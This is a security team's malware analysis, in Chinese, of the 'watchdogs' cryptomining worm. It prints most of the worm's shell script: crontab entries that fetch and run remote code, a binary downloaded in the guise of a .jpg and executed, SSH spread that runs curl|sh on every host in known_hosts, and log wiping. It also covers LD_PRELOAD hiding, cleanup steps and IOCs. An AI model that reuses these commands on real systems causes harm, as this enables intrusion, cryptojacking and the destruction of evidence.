作者:笔者及多名同事

一、 背景

近日,腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵,同时植入 watchdogs 挖矿病毒,出现 crontab 任务异常、系统文件被删除、CPU 异常等情况,并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和 known_hosts 历史登录尝试感染更多机器。

相对比于过去发现的挖矿病毒,这次的挖矿病毒隐藏性更高,也更难被清理。

二、 脚本分析

首先,可以直接从crontab任务中看到异常的任务项:

1
*/15 * * * * (curl -fsSL hxxps://pastebin.com/raw/sByq0rym||wget -q -O- hxxps://pastebin.com/raw/sByq0rym)|sh

该crontab任务实现从hxxps://pastebin.com/raw/sByq0rym下载shell脚本并执行,shell脚本内容为:

1
(curl -fsSL hxxps://pastebin.com/raw/tqJjUD9d||wget -q -O hxxps://pastebin.com/raw/tqJjUD9d)|base64 -d|sh

该脚本实现从hxxps://pastebin.com/raw/tqJjUD9d下载文件,文件内容为经过base64编码处理;

base64解码后为shell脚本,shell脚本主要功能如下:

  1. 修改环境变量,将常见的可执行文件目录添加到系统路径中,确保脚本中的shell命令正常执行;同时再次覆写crontab任务。
1
2
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
  1. 清理其他恶意程序,如kworkerdsddgs等挖矿程序;同时通过chattr -i等命令解锁和清理相关系统文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
psauxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
psauxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
psauxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
psauxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
psauxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
psauxf|grep-v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(psauxf|grep -v grep|grepksoftirqds|wc -l)

if [ ${p} -eq0 ];then
psauxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
  1. 根据系统信息下载对应恶意程序执行;黑客主要通过将恶意程序伪装成图片上传到hxxp://thyrsi.com图床站点,shell脚本下载hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg保存为/tmp/watchdogs文件,赋予可执行权限后执行该恶意程序;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if [ ! -f "/tmp/.lsdpid" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
elif[ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) &&chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
fi
  1. 再进一步横向扩展感染,检查本地 ssh 凭证,遍历/root/.ssh/known_hosts文件中的IP地址,利用默认公钥认证方式进行SSH连接,执行恶意命令横向扩展感染;
1
2
3
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
  1. 最后清空系统日志等文件,清理入侵痕迹。
1
2
3
4
5
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

通过bash脚本我们可以得知关键文件为其中的watchdogs文件。

进一步通过Top命令未见异常进程,而CPU空闲率为100%,但又明显感觉到机器运行迟缓。

进一步通过vmstat进行确认,可以发现CPU使用率95%以上,由于可以推断存在隐藏进程,并且hook了相关read等方法,具体案例我们在以前的文章已经做过分析[具体可见《Linux 遭入侵,挖矿进程被隐藏案例分析》].

进一步分析watchdogs文件,可以清楚看到病毒释放了/usr/local/lib/libioset.so的动态链接库并将路径写入/etc/ld.so.preload来实现了进程的隐藏,与我们上面的推测是一致的。具体可见样本分析部分。

样本分析

watchdogs

主要功能:

1、获取当前进程id,写入/tmp/.lsdpid文件

2、拷贝/tmp/watchdogs/usr/sbin/watchdogs目录,并将watchdogs添加至启动项及服务项

3、释放libioset.so文件至/usr/local/lib/libioset.so,并将该so文件路径写入/etc/ld.so.preload,同时删除/usr/local/lib/libioset.c文件

4、访问ident.me获取机器IP

5、设置定时任务,定时从hxxps://pastebin.com/raw/sByq0rym上获取shell执行脚本

6、写入/tmp/ksoftirqds/tmp/config.json,执行ksoftirqds后删除

7、删除生成的相关文件

8、访问hxxps://pastebin.com/raw/C4ZhQFrH,检查更新

libioset.so

64位程序中,恶意样本会释放出libioset.c文件,采用源码编译的方式生成libioset.so文件,而32位程序则直接释放出libioset.so文件

libioset.so主要功能为Hook删除、查看等系统命令函数,过滤掉watchdogs等相关信息,导致ls、rm等命令对该恶意程序无效,该so文件导出函数如下所示

例如,readdir64函数中,加载了libc.so.6

获取原始函数地址

如果调用该函数的进程不是ksoftirqds或watchdogs,则过滤掉所有包含恶意程序相关的结果。

Unlink函数同样进行了过滤,导致无法清除恶意程序相关的LD_PRELOADlibioset.so

该恶意程序同样隐藏了CPU信息和网络连接信息,如下所示

当调用fopen打开/proc/stat时,返回伪造的信息

当调用fopen打开/proc/net/tcp/proc/net/tcp6时,同样进行过滤

三、入侵流程

基于上面的脚本和ELF样本分析可以发现整体入侵和感染流程大概为:

  • 通过Redis未授权访问漏洞入侵机器并修改crontab任务;或者通过遍历known_hosts中的连接历史进行横向扩展
  • crontab任务执行bansh脚本,进行相关清理和下载执行恶意程序watchdogs并横向扩展
    • 覆写crontab任务
    • 清理其他恶意程序
    • 解锁删除相关系统文件
    • 下载执行watchdogs
    • 横向扫描其他机器
    • 清理相关文件和痕迹
  • watchdogs执行实现写开机启动、服务项并释放动态链接库实现隐藏,同时释放执行挖矿程序
    • 获取进程ID写/tmp/.lsdpid
    • 将/tmp目录下的watchdogs复制到/usr/sbin/目录并加入开机启动项和服务项
    • 释放libioset.so并写入/etc/ld.so.preload实现进程等隐藏
    • 访问idenet.me获取机器外网IP
    • 再次覆写crontab任务
    • 释放挖矿程序ksoftirqds和配置文件config.json并执行
    • 删除相关生成的文件并检查更新

最终完成了一个漏洞利用到植入挖矿程序,同时隐藏和横向感染的过程。

而相对与过去我们分析过的隐藏进行的挖矿病毒,在该病毒释放的动态链接库中同步对unlink函数进行了过滤,过滤名称同时包含ld.so.preloadlibioset.so,而同时由于删除、查看等系统命令函数也受过滤影响,就导致通过常规自动自带的方法无法直接删除libioset.so或者修改ld.so.preload接触恶意进程的隐藏,只能通过busybox来实现对这些文件的删除清理。

在我们将/usr/local/lib/libioset.so文件清理后,就可以通过top命令看到执行的挖矿进程。

通过捕获的钱包地址查看黑客收益:

该钱包总收益约为56.5门罗币,约合1.9万人民币,过去24小时内收益1.3门罗币,当前算力约为430KH/S。

四、修复建议和清理方法

修复建议

Redis未授权访问
  • 为 Redis 添加密码验证(重启Redis才能生效)
  • 禁止外网访问 Redis(重启Redis才能生效)
  • 以低权限运行Redis服务(重启Redis才能生效)详细操作请参考:http://bbs.qcloud.com/thread-30706-1-1.html
内网感染
  • 建议不要将连接机器的私钥直接放在服务器上,如有必要建议添加密码
  • 建议通过有限的机器作为跳板机实现对其他内网机器的访问,避免所有机器的随意互联互通,跳板机不要部署相关可能存在风险的服务和业务;

挖矿木马清理方法

  • 删除恶意动态链接库/usr/local/lib/libioset.so
  • 排查清理/etc/ld.so.preload中是否加载1中的恶意动态链接库
  • 清理crontab异常项,删除恶意任务(无法修改则先执行5-a)
  • kill 挖矿进程
  • 排查清理可能残留的恶意文件
    • chattr -i /usr/sbin/watchdogs /etc/init.d/watchdogs /var/spool/cron/root /etc/cron.d/root
    • chkconfig watchdogs off
    • rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs
  • 相关系统命令可能被病毒删除,可通过包管理器重新安装或者其他机器拷贝恢复
  • 由于文件只读且相关命令被hook,需要安装busybox通过busybox rm命令删除
  • 部分操作需要重启机器生效

五、附录

IOCs

样本
  • aee3a19beb22527a1e0feac76344894c
  • c79db2e3598b49157a8f91b789420fb6
  • d6a146161ec201f9b3f20fbfd528f901
  • 39fa886dd1af5e5360f36afa42ff7b4e
矿池地址
钱包地址
  • 46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny
URLs
  • hxxps://pastebin.com/raw/sByq0rym
  • hxxps://pastebin.com/raw/tqJjUD9d
  • hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg
  • hxxp://ident.me

相关链接